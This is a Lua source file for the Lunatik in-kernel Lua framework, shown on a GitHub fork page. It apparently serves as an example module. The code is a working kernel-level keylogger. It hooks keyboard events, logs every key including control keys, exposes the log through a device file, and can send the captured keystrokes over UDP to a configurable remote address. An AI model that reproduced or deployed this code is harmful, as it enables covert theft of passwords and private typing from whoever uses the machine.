forked from luainkernel/lunatik
-
Notifications
You must be signed in to change notification settings - Fork 0
/
spyglass.lua
107 lines (95 loc) · 3.3 KB
/
spyglass.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
--
-- Copyright (c) 2023 ring-0 Ltda.
--
-- Permission is hereby granted, free of charge, to any person obtaining
-- a copy of this software and associated documentation files (the
-- "Software"), to deal in the Software without restriction, including
-- without limitation the rights to use, copy, modify, merge, publish,
-- distribute, sublicense, and/or sell copies of the Software, and to
-- permit persons to whom the Software is furnished to do so, subject to
-- the following conditions:
--
-- The above copyright notice and this permission notice shall be
-- included in all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-- IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-- CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-- TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-- SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--
local notifier = require("notifier")
local device = require("device")
local inet = require("socket.inet")
local function info(...)
print("spyglass: " .. string.format(...))
end
local control = {
[0] = "nul", [1] = "soh", [2] = "stx", [3] = "etx", [4] = "eot", [5] = "enq",
[6] = "ack", [7] = "bel", [8] = "bs", [9] = "ht", [10] = "nl", [11] = "vt",
[12] = "np", [13] = "cr", [14] = "so", [15] = "si", [16] = "dle", [17] = "dc1",
[18] = "dc2", [19] = "dc3", [20] = "dc4", [21] = "nak", [22] = "syn", [23] = "etb",
[24] = "can", [25] = "em", [26] = "sub", [27] = "esc", [28] = "fs", [29] = "gs",
[30] = "rs", [31] = "us", [127] = "del"
}
local function printable(keysym)
return keysym >= 32 and keysym <= 126
end
local function nop() end
local spyglass = {name = "spyglass", open = nop, release = nop, log = ""}
function spyglass:read()
local log = self.log
self.log = ""
local socket = self.socket
if socket and #log > 0 then
pcall(socket.send, socket, log, ip, port)
return ""
end
return log
end
local settings = {
['enable'] = function (self, enable)
local enable = enable ~= "false"
if enable and not self.notifier then
self.notifier = notifier.keyboard(self.callback)
elseif not enable and self.notifier then
self.notifier:delete()
self.notifier = nil
end
end,
['net'] = function (self, net)
local ip, port = string.match(net, "(%g+):(%d+)")
if ip then
info("enabling network support %s:%d", ip, port)
self.socket = inet.udp()
self.socket:connect(ip, port)
elseif self.socket then
info("disabling network support")
self.socket:close()
self.socket = nil
end
end
}
function spyglass:write(buf)
for k, v in string.gmatch(buf, "(%w+)=(%g+)") do
local setter = settings[k]
if setter then
setter(self, v)
end
end
end
local notify = notifier.notify
local kbd = notifier.kbd
function spyglass.callback(event, down, shift, key)
if not down and event == kbd.KEYSYM then
local keysym = key & 0xFF
local log = printable(keysym) and string.char(keysym) or
string.format("<%s>", control[keysym])
spyglass.log = spyglass.log .. log
end
return notify.OK
end
spyglass.notifier = notifier.keyboard(spyglass.callback)
spyglass.device = device.new(spyglass)